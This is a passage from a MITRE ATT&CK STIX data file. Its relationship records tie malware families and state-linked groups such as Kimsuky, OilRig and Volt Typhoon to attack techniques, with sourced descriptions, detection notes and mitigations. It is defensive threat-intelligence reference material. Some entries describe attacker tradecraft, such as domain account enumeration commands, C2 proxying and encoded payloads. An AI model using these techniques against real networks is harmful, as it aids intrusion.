2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f488c35-1d8c-4596-985c-11f0ee37b004","created":"2023-03-26T19:10:05.542Z","revoked":false,"external_references":[{"source_name":"ESET Grandoreiro April 2020","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:10:05.542Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can store its configuration in the Registry at `HKCU\\Software\\` under frequently changing names including %USERNAME% and ToolTech-RM.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f4c8795-68b6-4935-beb4-adde242f44f6","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T16:56:53.747Z","description":"[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f5972b4-cb84-4277-83fb-55f0b210a25d","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f5af879-c239-416b-99ec-b46e2f9926a2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2020-03-18T20:18:02.511Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f601200-9fcd-44b7-96c2-5a2a1daea489","created":"2020-10-30T20:07:37.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zdnet Kimsuky Group September 2020","description":"Cimpanu, C. (2020, September 30). North Korea has tried to hack 11 officials of the UN Security Council. Retrieved November 4, 2020.","url":"https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"},{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"},{"source_name":"ThreatConnect Kimsuky September 2020","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.412Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has registered domains to spoof targeted organizations and trusted third parties including search engines, web platforms, and cryptocurrency exchanges.(Citation: ThreatConnect Kimsuky September 2020)(Citation: Zdnet Kimsuky Group September 2020)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f667e29-dd41-4dd4-a74d-fff899fe4ac6","created":"2024-01-17T19:50:36.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:48:51.378Z","description":"The [Ninja](https://attack.mitre.org/software/S1100) loader can call Windows APIs for discovery, process injection, and payload decryption.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5f69f13e-c7e7-488f-8e5e-988ab41a2a39","created":"2022-07-08T21:04:03.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-07-08T21:04:03.858Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f6e76c5-732c-4bc8-9c17-ac1e58a5d88e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.544Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) functions as a proxy server between the victim and C2 server.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f73d53f-f543-47b6-ab81-9a2764dabaef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.708Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download additional files from C2 servers.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f79680a-7b9f-47fd-bb81-025eb6368139","created":"2022-10-04T06:54:11.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-20T17:10:59.389Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has embedded [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008) within another run-only [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008).(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f7c7285-daa4-499d-b9d6-c1028e5148d4","created":"2022-09-26T15:12:00.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:37:28.696Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has the ability to discover processes, including `Bka.exe` and `BkavUtil.exe`.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f7da78d-8d46-43db-945d-14bdc316d504","created":"2024-05-16T20:44:49.494Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T20:44:49.494Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) Volt Typhoon has used compromised Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support operations.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5f7db516-c204-4e6b-9bda-b891bf763843","created":"2022-08-24T14:54:12.284Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Bumblebee June 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022."},{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can create a Visual Basic script to enable persistence.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","modified":"2022-08-25T14:09:31.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f830006-234e-44d1-9441-1aca7990006c","type":"relationship","created":"2020-11-06T18:40:38.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2020-11-06T18:40:38.335Z","description":"(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f8e0db4-70d8-49c3-9b57-f6296ec8357f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.262Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) uses the ipconfig /all command to gather the victim’s IP address.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f8f4204-228c-49d3-8ec6-863b13038001","type":"relationship","created":"2019-04-23T13:43:22.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-16T17:31:49.404Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f9087bc-6a55-4d7e-947f-b8a6d9cd550a","created":"2022-07-11T20:38:56.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:31:46.859Z","description":"Monitor for changes made to generated artifacts on a host system, including logs or captured files such as quarantined emails. \n\nOn Windows 10, mail application data is stored in C:\\Users\\Username\\AppData\\Local\\Comms\\Unistore\\data. On Linux, mail data is stored in /var/spool/mail or /var/mail. On macOS, mail data is stored in ~/Library/Mail.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f90f8ec-9154-4f28-a632-fd4024e6fbce","type":"relationship","created":"2021-12-13T23:56:12.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-04T13:57:16.900Z","description":"Audit applications and their permissions to ensure access to data and resources are limited based upon necessity and principle of least privilege.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5f93b770-89f7-4aeb-82f5-cef2f01aef40","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for changes made to user accounts for unexpected modification of properties, such as passwords or status (enabled/disabled). Windows event logs may designate activity associated with an adversary's attempt to remove access to an account:\r\nEvent ID 4723 - An attempt was made to change an account's password\r\nEvent ID 4724 - An attempt was made to reset an account's password\r\nEvent ID 4725 - A user account was disabled\r\n\r\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5f960e9c-ce7b-4502-9603-67a73f9e5c82","created":"2024-07-01T18:02:57.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:02:27.755Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can use shell commands to discover network adapters and configuration.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5fa04706-b980-4f03-a8c6-96933b7c3203","created":"2022-08-16T15:44:48.102Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the MAC address of an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-16T15:44:48.102Z","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5fa15bc3-e7ec-4617-bf30-b5258af8b2ec","created":"2020-12-29T15:21:23.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:31:43.569Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has base64 encoded payloads to avoid detection.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fa454cd-2fff-41ca-bfd0-0dce49d34f6d","type":"relationship","created":"2019-05-02T01:07:36.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.247Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin to perform RDP access.(Citation: Cylance Shaheen Nov 2018)\n","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fa551a6-dc9f-4ca5-a5ec-a393515cb618","type":"relationship","created":"2021-03-05T18:54:56.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.762Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) dropped and added officeupdate.exe to scheduled tasks.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fa90ef5-e767-439b-9d1a-885438d57a30","type":"relationship","created":"2020-12-28T21:59:02.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-28T21:59:02.265Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fa955eb-63da-4281-8904-03f6c04c9d8d","type":"relationship","created":"2020-03-17T16:21:36.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-17T16:21:36.718Z","relationship_type":"revoked-by","source_ref":"attack-pattern--478aa214-2ca7-4e